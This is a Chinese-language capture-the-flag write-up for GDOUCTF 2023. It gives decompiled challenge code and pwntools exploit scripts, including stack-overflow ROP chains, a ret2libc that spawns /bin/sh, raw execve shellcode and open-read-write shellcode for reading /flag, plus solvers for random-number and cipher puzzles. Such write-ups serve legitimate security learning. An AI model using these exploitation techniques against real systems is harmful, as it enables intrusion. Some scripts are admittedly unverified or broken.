GDOUCTF 2023 WP

本文最后更新于:2023年4月17日 晚上

GDOUCTF 2023 WP

EASY PWN

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int check()
{
int result; // eax
char buf[10]; // [rsp+7h] [rbp-29h] BYREF
char s1[15]; // [rsp+11h] [rbp-1Fh] BYREF
ssize_t v3; // [rsp+20h] [rbp-10h]
int fd; // [rsp+28h] [rbp-8h]
int v5; // [rsp+2Ch] [rbp-4h]

v5 = 0;
fd = open("/dev/urandom", 0);
if ( fd < 0 )
{
puts("Can't access /dev/urandom.");
exit(1);
}
v3 = read(fd, buf, 0xAuLL);
if ( v3 < 0 )
{
puts("Data not received from /dev/urandom");
exit(1);
}
close(fd);
puts("Password:");
gets(s1);
result = strcmp(s1, buf);
if ( result )
result = puts("I swore that was the right password ...");
else
v5 = 1;
if ( v5 )
{
puts("Guess I couldn't gaslight you!");
return print_flag();
}
return result;
} // check

原本想尝试下libc的,这下好了,不知道怎么就过了,可以尝试调试一下,我还不是很明白这个。好像正常思路是直接爆破pie的低位,1/16的概率,但是这个程序还是urandom应该是有bug,不是很懂,后面研究明白了再细说。

EXP:

1
2
3
4
5
6
7
8
9
from pwn import *
context.log_level = 'debug'
io = process('./ep')
elf = ELF('./ep')
prdir = 0x13db
ret = 0x1016
io.sendline(b'b'*0x1f+p64(0xdeadbeef)+p64(prdir)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main']))

io.interactive()

Shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[10]; // [rsp+6h] [rbp-Ah] BYREF

setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
setbuf(stdout, 0LL);
mprotect((&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
puts("Please.");
read(0, &name, 0x25uLL);
puts("Nice to meet you.");
puts("Let's start!");
read(0, buf, 64uLL);
return 0;
} // main

最开始写了shellcode型的,去Exploit Database找的37字长的shellcode,不知道为什么没解出来,可能那个sc有问题?还是说不需要经过ret栈对齐就直接ret2就行了?

sc原EXP(未打通):

1
2
3
4
5
6
7
from pwn import *

io = process('./sc')
shellcode = b'\x31\xf6\xf7\xe6\x52\x52\x52\x54\x5b\x53\x5f\xc7\x07\x2f\x62\x69\x6e\xc7\x47\x04\x2f\x2f\x73\x68\x40\x75\x04\xb0\x3b\x0f\x05\x31\xc9\xb0\x0b\xcd\x80'
io.send(shellcode)
io.sendlineafter(b'start!\n', b'a'*18)+p64(0x40028e)+p64(0x6010A0)
io.interactive()

后面数了下,装ROP链做ret2libc够用,就ret2libc了。靶机环境是0 - libc6_2.27-3ubuntu1_amd64

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from LibcSearcher import *

io = process('./sc')
elf = ELF('./sc')

io.sendline(b'/bin/sh\x00') # 没用上,后面其实可以用

prdir = 0x4007b3
ret = 0x40028e
# leak libc
io.sendline(b'a'*18+p64(prdir)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main']))
io.recvuntil(b'start!\n')

puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
bsh_addr = libc_base + libc.dump('str_bin_sh')

io.sendline(b'/bin/sh\x00') # 说实在的这个也没用上
io.sendline(b'a'*18+p64(ret)+p64(prdir)+p64(bsh_addr)+p64(sys_addr))
io.interactive()

真男人下120层

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int v4; // eax
int v6; // [rsp+8h] [rbp-18h] BYREF
unsigned int i; // [rsp+Ch] [rbp-14h]
__int64 v8; // [rsp+10h] [rbp-10h]
unsigned __int64 v9; // [rsp+18h] [rbp-8h]

v9 = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
v3 = time(0LL);
srand(v3);
v8 = 2772839826LL;
v4 = rand();
srand(v4 % 3 - 1522127470);
printf("\x1B[31m");
puts("\n\n");
puts(" ## ## ####### ####### ######## ####### ");
puts(" ## ## ### ## ## ## ");
puts(" ####### ### ## ## #### ");
puts(" ## ## ### ## ## ## ");
puts(" ## ## ####### ####### ## ## \n\n");
printf("\x1B[0m");
puts("Welcome!");
puts(aThereAreFourDo);
puts("Only one door leads to the right path. If you choose the wrong one, you will be killed by a trap.\n");
for ( i = 1; (int)i <= 120; ++i )
{
print_door();
printf("\t\t\tFloor %d\n\n", i);
__isoc99_scanf("%d", &v6);
if ( rand() % 4 + 1 != v6 )
{
printf("\x1B[31m");
puts("YOU DIED!");
printf("\x1B[0m");
return 0;
}
system("clear");
}
puts("Congratulation!");
cat_flag();
return 0;
} // main

纯纯的模拟题,没什么考点。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
from ctypes import *
context.log_level='debug'
io = process('./bin')

lib = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
srand=lib.srand(lib.time(0))
srand=lib.srand(srand%3-1522127470)
io.recvuntil('Floor')
for i in range(121):
io.sendline(str(lib.rand()%4+1).encode())

io.interactive()

Random

main一个随机一个对\n sendline的检查,vulnerable一个栈可溢出点,可是做题经验不是很足,以为是orw+栈迁移但没做明白,后面重新按师傅的来顺了一遍,执行流还是得看调试。因不复杂,反编译内容在此不表。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from ctypes import *
context.binary = './rd'
context.log_level = 'debug'
io = process('./rd')
elf = ELF('./rd', False)
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

srand = libc.srand(libc.time(0))
io.sendline(str(libc.rand()%50).encode())

read_code = '''
mov r14, r13
mov r15, r13
/* r13 -> rsp */
xor rdi, rdi
/* ARG0 -> rdi -> fd */
push r14
pop rsi
/* ARG1 -> rsi = r13 = rsp */
push 0x100
pop rdx
/* ARG2 -> rdx = 0x100 */
xor rax, rax
syscall
/* read(0, rsp, 0x100) */

push r15
pop rsp
jmp rsp
'''
read_sc = asm(read_code)
sub_rsp = '''
sub rsp, 0x30
jmp rsp
'''
sub_jmp = asm(sub_rsp)
jmp_rsp = 0x40094E
payload = read_sc + cyclic(0x28-len(read_sc)) + p64(jmp_rsp) + sub_jmp
io.sendlineafter(b'door\n', payload)

orw_code = shellcraft.open ('/flag')
orw_code += shellcraft.read (3, 0x601f00, 0x30)
orw_code += shellcraft.write(1, 0x601f00, 0x30)
io.sendline(asm(orw_code))

io.interactive()

Check_Your_Luck

就是纯纯的逆向,逆着来就行。js代码不需要看得懂,就看得懂concat是类似于C++ vector的push_back就够用了,或者python的append也行,字符串直接用+当然也可以,反正就是纯纯的语义逆向,没有算数语法什么的。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
#include <bits/stdc++.h>
using namespace std;
void dec() {
;
}
int main() {
string sc = "+}!q\")hiim)#}-nvm)i-$#mvn#0mnbm)im#n+}!qnm8)i-$#mvnoc#0nz<$9inm!>-n1:1-nm8)i-$~c58n!}qhij#0[noic##m8nc8n?!8c}w!n]>&";
string s{};
for(int i = 0;i < sc.length(); i++) {
switch(sc[i]) {
case '!':
s.push_back('a');
break;
case '1':
s.push_back('b');
break;
case ')':
s.push_back('c');
break;
case 'v':
s.push_back('d');
break;
case 'm':
s.push_back('e');
break;
case '+':
s.push_back('f');
break;
case 'q':
s.push_back('g');
break;
case '0':
s.push_back('h');
break;
case 'c':
s.push_back('i');
break;
case ']':
s.push_back('j');
break;
case '(':
s.push_back('k');
break;
case '}':
s.push_back('l');
break;
case '[':
s.push_back('m');
break;
case '8':
s.push_back('n');
break;
case '5':
s.push_back('0');
break;
case '$':
s.push_back('p');
break;
case '*':
s.push_back('q');
break;
case 'i':
s.push_back('r');
break;
case '>':
s.push_back('s');
break;
case '#':
s.push_back('t');
break;
case '<':
s.push_back('u');
break;
case '?':
s.push_back('v');
break;
case 'o':
s.push_back('w');
break;
case '^':
s.push_back('x');
break;
case '-':
s.push_back('y');
break;
case '_':
s.push_back('z');
break;
case 'h':
s.push_back('0');
break;
case 'w':
s.push_back('1');
break;
case 'e':
s.push_back('2');
break;
case '9':
s.push_back('3');
break;
case 'g':
s.push_back('4');
break;
case 'z':
s.push_back('5');
break;
case 'd':
s.push_back('6');
break;
case '~':
s.push_back('7');
break;
case '=':
s.push_back('8');
break;
case 'x':
s.push_back('9');
break;
case 'j':
s.push_back('!');
break;
case ':':
s.push_back('@');
break;
case '4':
s.push_back('#');
break;
case 'b':
s.push_back('$');
break;
case '`':
s.push_back('%');
break;
case 'l':
s.push_back('^');
break;
case '3':
s.push_back('&');
break;
case 't':
s.push_back('*');
break;
case '6':
s.push_back('(');
break;
case 's':
s.push_back(')');
break;
case 'n':
s.push_back('_');
break;
case ';':
s.push_back('+');
break;
case '\'':
s.push_back('-');
break;
case 'r':
s.push_back('=');
break;
case 'k':
s.push_back('`');
break;
case 'p':
s.push_back('~');
break;
case '\"':
s.push_back('{');
break;
case '&':
s.push_back('}');
break;
case '/':
s.push_back('[');
break;
case '\\':
s.push_back(']');
break;
case '2':
s.push_back('|');
break;
case '.':
s.push_back(':');
break;
case '%':
s.push_back(';');
break;
case '|':
s.push_back('\"');
break;
case ',':
s.push_back('\'');
break;
case '@':
s.push_back('<');
break;
case '{':
s.push_back('>');
break;
case 'u':
s.push_back(',');
break;
case '7':
s.push_back('.');
break;
case 'y':
s.push_back('?');
break;
case 'a':
s.push_back('/');
break;
}
}
cout << s << endl;
return 0;
}

小学数学

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import random
import signal

def ran():
return random.randint(999,99999)
def add():
question = f"{ran()} + {ran()} = "

print(question.replace('+','-'))
answer = eval(question[:-2])

calc = input()
if calc == str(answer):
print("Correct.")
else:
print("Wrong.")
exit(0)

def sub():
question = f"{ran()} - {ran()} = "

print(question.replace('-','x'))
answer = eval(question[:-2])

calc = input()
if calc == str(answer):
print("Correct.")
else:
print("Wrong.")
exit(0)

def mul():
question = f"{ran()} x {ran()} = "

print(question.replace('x','//'))
answer = eval(question[:-2].replace('x','*'))

calc = input()
if calc == str(answer):
print("Correct.")
else:
print("Wrong.")
exit(0)

def div():
question = f"{ran()} // {ran()} = "

print(question.replace('//','%'))
answer = eval(question[:-2])

calc = input()
if calc == str(answer):
print("Correct.")
else:
print("Wrong.")
exit(0)

def mod():
question = f"{ran()} % {ran()} = "

print(question.replace('%','+'))
answer = eval(question[:-2])

calc = input()
if calc == str(answer):
print("Correct.")
else:
print("Wrong.")
exit(0)



print(" ____ ____ ___ _ _ ____ _____ _____ ")
print(" / ___| _ \ / _ \| | | | / ___|_ _| ___|")
print("| | _| | | | | | | | | | | | | | | |_ ")
print("| |_| | |_| | |_| | |_| | | |___ | | | _| ")
print(" \____|____/ \___/ \___/ \____| |_| |_| ")
print(" ")
print("Welcome to the calculate challenge. Please try to solve 300 Question in 600 seconds.")
print("ATTENTION: This is an April Fool's game, and the real problem may not be what it seems")
print("")
input("Press Enter to start...")
signal.alarm(600)

for i in range(300):
print("Round: "+str(i+1))
random.choice([add,sub,mul,div,mod])()


flag = open('/flag').read()
print("Congratulations on passing the challenge. This is your flag: " + str(flag))

说实在的我真觉得这个出题人很胡闹的,很震惊,怎么会有人有这种恶趣味。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
# context.log_level = 'debug'
io = remote('',)
io.sendline(b'')
print('plz wait..')
for i in range(300):
io.recvuntil(str(i+1).encode())
num1 = int(io.recvuntil(b' '))
op = io.recvuntil(b' ')
num2 = int(io.recvuntil(b' '))
print(num1, op[0], num2)
if(op[0] == ord('-')):
io.sendline(str(num1+num2).encode())
elif(op[0] == ord('x')):
io.sendline(str(num1-num2).encode())
elif(op[0] == ord('/')):
io.sendline(str(num1*num2).encode())
elif(op[0] == ord('%')):
io.sendline(str(num1//num2).encode())
else:
io.sendline(str(num1%num2).encode())

io.interactive()

奇怪的ELF

纯纯的逆向题或者有环境有钱就行,就是一个x86_64(amd64)一个arm64,要不然就两个架构的环境都有要不然qemu要不然就直接逆向,两个解得没有特别全,蒙也能蒙得到答案。

HNCTF{welcome_to_the_Linux_world!}


GDOUCTF 2023 WP
http://example.com/2023/04/17/GDOUCTF-2023-WP/
作者
OSLike
发布于
2023年4月17日
许可协议